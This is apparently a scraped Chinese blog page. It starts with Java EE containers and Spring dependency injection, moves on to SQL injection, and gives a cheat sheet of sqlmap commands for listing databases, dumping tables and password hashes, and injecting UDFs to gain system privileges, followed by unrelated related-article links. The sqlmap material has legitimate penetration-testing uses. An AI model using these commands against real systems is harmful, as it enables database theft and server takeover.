Container&injection
容器(Container)就是组件和底层服务细节之间的接口。在web组件、企业级Bean等能够执行之前,它必须被装配为一个JavaEE模块,并部署在容器上。
在JavaEE5时代通过注解的方式注入(injection)资源。依赖注入是Spring的思想,在使用Spring进行开发时,可以将对象交给spring进行管理,在初始化时spring创建一批对象,当你需要用的时候只要从spring的容器中获取对象,而不用自己去new,当然在对象创建的时候可以注入另一个对象。
网上的注入工具很多,大多也有比较详细的解释,但是大部分windows下的注入软件都是对自己软件的一种推荐,而且很多也不是非常的安全,对于有些破解版本来说,很可能自身会被带有木马,所以,Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入工具。我所介绍的是一款名为SQLMAP的注入工具,有感兴趣的可以去他的官网看看哦!
首先,SQLMAP是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令
其次,SQLMAP支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
SQLMAP支持五种不同的注入模式:
l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
l 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
l 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
l 联合查询注入,可以使用union的情况下的注入;
l 堆查询注入,可以同时执行多条语句的执行时的注入
一些简单的SQLMAP使用:
1. 基础用法:
一下./sqlmap.py 在kali和backtrack中使用sqlmap的时候,直接用:sqlmap
./sqlmap.py -u “注入地址” -v 1 –dbs // 列举数据库
./sqlmap.py -u “注入地址” -v 1 –current-db // 当前数据库
./sqlmap.py -u “注入地址” -v 1 –users // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 –current-user // 当前用户
./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” // 列举数据库的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库” // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列
sqlmap -u “ –smart –dbms “Mysql” –users #列数据库用户
sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库
sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定用户数据库密码
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表
sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限
sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员
sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色
sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录
sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型
Container&injection的更多相关文章
- Container&injection(容器与注入思想)
container 为了更好理解JAVA容器,查询了容器的概念以及容器的诞生原因和历史: 容器技术是怎么一个概念呢?其实,IT里的容器技术是英文单词Linux Container的直译.contain ...
- container/injection简介以及发展历史
一:什么是Container?Container的作用? 容器是一个标准的软件单元,它将代码及其所有依赖关系打包,以便应用程序从一个计算环境快速可靠地运行到另一个计算环境.container的主要作用 ...
- Java EE ----- Container/Injection
容器(container)是一个类,实际上是component的子类,因此容器本身也是一个组件,具有组件的所有性质,但是它的主要功能是容纳其他组件和容器. 对于开发人员,需要引入复杂的代码解决事务以及 ...
- Container/Injection
1.容器的历史 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能访问到这个新的 ...
- 为什么会出现container/injection的思想?
1.容器的历史 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能访问到这个新的 ...
- Container/Injection 为什么会出现容器的思路,以后会有什么的趋势,未来是怎样的
一.为什么会出现容器的思路? 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能 ...
- container injection——容器技术
(一)容器技术为什么出现 在很久很久以前,想要在线上服务器部署一个应用,首先需要购买一个物理服务器,在服务器安装一个操作系统,然后安装好应用所需要的各种依赖环境,最后才可以进行应用的部署,而且一台服务 ...
- weblogic环境,应用上传图片报Could not initialize class sun.awt.X11.XToolkit
问题描写叙述 遇到的问题是在weblogic环境,应用在上传图片的时候报Could not initialize class sun.awt.X11.XToolkit 错误. 详细错误例如以下 17: ...
- Container and Injection in Java
一.Container 1.为什么使用Container 通常,瘦客户端多层应用程序很难编写,因为它们涉及处理事务和状态管理.多线程.资源池和其他复杂的低级细节的复杂代码行.基于组件和独立于平台的Ja ...
随机推荐
- BeanUtils工具类
用对象传参,用JavaBean传参. BeanUtils可以优化传参过程. 学习框架之后,BeanUtils的功能都由框架来完成. 一.为什么用BeanUtils? 每次我们的函数都要传递很多参数很麻 ...
- 15.2-uC/OS-III资源管理(信号量)
1.信号量 信号量是一个“ 锁定机构”,代码需要获得钥匙才可以访问共享资源.占用该资源的任务不再使用该资源并释放资源时,其它任务才能够访问这个资源. 通常有两种类型的信号量:二值信号量和多值信号量. ...
- OpenMVG学习笔记
OpenMVG 是一个不错的SFM开源算法库,可以实现基于多视图像的稀疏重建. OpenMVG SfM pipelines run as a 4 step process:包含四个基本过程 1. Im ...
- python frist lesson
1.print("") 代表打印字符段 2.name2 = name ,然后改变name的赋值,name2的值还是以前name的值,说明name2指向的是内存中name的赋值. 3 ...
- Oracle 10g收集数据库统计信息
1.需求概述 2.实施步骤 3.回退方案 1.需求概述 某数据库由于整体统计信息不准确,多次出现部分业务SQL选错执行计划,从而导致性能下降影响到最终用户体验,目前通过SQL_PROFILE绑定执行计 ...
- 关于angular2 打包(一)
在讲到angular2 及以上项目打包之前,我先讲一下.angular cli 拥有自己的打包工具,熟悉的可以直接上手.如果用不惯,也可以去使用webpack 之类的.内置的systemjs也是很好用 ...
- String 常用方法
// 不会改变原字符串string.substring(startIndex, endIndex) —— 根据头尾位置返回一个字符串 string.substr(startIndex, length) ...
- 解决 img 标签上下出现的间隙
我们在平常的开发过程中,经常需要使用多张图片,而使用多张图片的时候,一般会去使用一个列表来对我们的img进行承装.就算我们把img的外边距和内边距全部清空了,但是这时会发现图片上下单会多出一定的间隙. ...
- 判断(if)语句
目标 开发中的应用场景 if语句体验 if语句进阶 综合应用 一 开发中的应用场景 转换成代码 判断的定义 如果 条件满足,才能做某件事 如果 条件不满足,就做另外一件事,或者什么也不做 判断语句 又 ...
- iptables 扩展匹配 第三章
获取帮助: centos 6 :man iptables centos 7: man iptables-extensions 扩展匹配: 隐式扩展:当使用-p指定某一协议之后,协议自身所支持的扩展就叫 ...